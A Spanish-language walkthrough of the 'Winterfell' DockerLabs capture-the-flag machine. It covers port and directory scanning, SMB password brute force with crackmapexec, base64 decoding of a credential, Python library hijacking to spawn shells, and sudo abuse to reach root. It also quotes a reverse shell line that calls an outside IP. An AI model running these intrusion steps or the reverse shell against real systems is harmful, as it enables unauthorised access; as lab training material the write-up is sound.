Winterfell - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | Zunderrub |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)139(NetBIOS)445(SMB) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80,139,445 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al navegar al puerto 80, descubrimos un sitio web con temática de Juego de Tronos.
No vemos nada interesante, pero nos quedaremos con este mensaje por si resulta imprensidible para averiguar como acceder.
` – Jon: Tengo que conseguir que Arya lleve el mensaje a Daenerys para que nos mande su apoyo y el de sus dragones`
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Descubrimos /dragon, donde accedemos a EpisodiosT1. Utilizaremos los nombres de los episodios como posibles contraseñas.
Fuerza Bruta en SMB
Generamos un archivo episodios.txt con los nombres de los episodios y usamos crackmapexec para realizar fuerza bruta:
crackmapexec smb 172.17.0.2 -u 'jon' -p episodios.txt
Vemos el usuario “jon” con contraseña “seacercaelinvierno”, ahora on smbmap, identificamos recursos compartidos:.
smbmap -u 'jon' -p 'seacercaelinvierno' -H 172.17.0.2
Accedemos a la carpeta shared con smbclient y descargamos proteccion_del_reino:
smbclient //172.17.0.2/shared -U 'jon'
Al abrir el mesajes vemos que contiene lo siguiente
Aria de ti depende que los caminantes blancos no consigan pasar el muro.
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender.
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=
Desciframos la contraseña en Base64:
echo 'aGlqb2RlbGFuaXN0ZXI=' | base64 -d
Nos devuelve la contraseña hijodelanister.
Acceso ssh
Conectamos al servicio SSH como jon usando la contraseña descifrada:
Escalada de privilegios
Usuario aria
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar python3 como aria en .mensaje.py.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Viendo el contenido de el script se están importando dos librerías pero no tienen su ruta absoluta por lo que se podría acontecer un Library Hijacking.
Creamos un archivo con el nombre de una de las librerías usadas por el script:
import os
os.system("/bin/bash")
Ejecutamos el script:
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
Ahora somos aria.
Usuario daenerys
Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar cat y ls como daenerys.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Exploramos el directorio y encontramos un mensaje con la contraseña de daenerys.
Usamos SSH para acceder:
Root
Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar bash como root en el archivo /home/daenerys/.secret/.shell.sh.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Este es el contenido:
#!/bin/bash
bash -i >& /dev/tcp/192.168.234.42/443 0>&1
Modificamos el contenido del script para obtener una shell como root:
#!/bin/bash
bash -p
Ejecutamos el script:
Ya somos root